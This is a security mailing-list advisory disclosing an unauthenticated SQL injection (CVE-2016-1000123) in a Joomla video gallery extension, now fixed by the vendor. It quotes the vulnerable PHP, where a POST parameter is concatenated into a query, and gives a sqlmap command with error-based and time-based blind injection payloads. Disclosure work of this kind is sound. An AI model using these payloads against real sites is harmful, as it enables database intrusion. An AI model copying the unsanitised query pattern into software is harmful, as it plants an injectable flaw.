Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 21 Sep 2016 16:24:44 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for
 Joomla

Title: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-15
Download Site: http://huge-it.com/joomla-video-gallery/
Vendor: www.huge-it.com, fixed v1.1.0
Vendor Notified: 2016-09-17
Vendor Contact: info@...e-it.com
Description: A video slideshow gallery.
Vulnerability:
The following code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php. 

Vulnerable Code in : ajax_url.php

 11 define('_JEXEC',1);
 12 defined('_JEXEC') or die('Restircted access');
.
.
.
 28         if($_POST['task']=="load_videos_content"){
 29 
 30             $page = 1;
 31 
 32 
 33             if(!empty($_POST["page"]) && is_numeric($_POST['page']) && $_POST['page']>0){
 34                 $paramssld='';
 35                 $db5 = JFactory::getDBO();
 36                 $query5 = $db->getQuery(true);
 37                 $query5->select('*');
 38                 $query5->from('#__huge_it_videogallery_params');
 39                 $db->setQuery($query5);
 40                 $options_params = $db5->loadObjectList();
 41                 foreach ($options_params as $rowpar) {
 42                     $key = $rowpar->name;
 43                     $value = $rowpar->value;
 44                     $paramssld[$key] = $value;
 45                 }
 46                 $page = $_POST["page"];
 47                 $num=$_POST['perpage'];
 48                 $start = $page * $num - $num;
 49                 $idofgallery=$_POST['galleryid'];
 50 
 51                 $query = $db->getQuery(true);
 52                 $query->select('*');
 53                 $query->from('#__huge_it_videogallery_videos');
 54                 $query->where('videogallery_id ='.$idofgallery);
 55                 $query ->order('#__huge_it_videogallery_videos.ordering asc');
 56                 $db->setQuery($query,$start,$num);

CVE-2016-1000123
Exploit Code:
	• $ sqlmap -u 'http://example.com/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2"  --level=5 --risk=3
	• .
	• .
	• .
	• (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
	• sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
	• ---
	• Parameter: #1* ((custom) POST)
	•     Type: error-based
	•     Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
	•     Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2
	•  
	•     Type: AND/OR time-based blind
	•     Title: MySQL >= 5.0.12 time-based blind - Parameter replace
	•     Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2
	• ---
	• [19:36:55] [INFO] the back-end DBMS is MySQL
	• web server operating system: Linux Debian 8.0 (jessie)
	• web application technology: Apache 2.4.10
	• back-end DBMS: MySQL >= 5.0.12
	• [19:36:55] [WARNING] HTTP error codes detected during run:
	• 500 (Internal Server Error) - 2714 times
	• [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'
	•  
	• [*] shutting down at 19:36:55
Advisory: http://www.vapidlabs.com/advisory.php?v=169

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.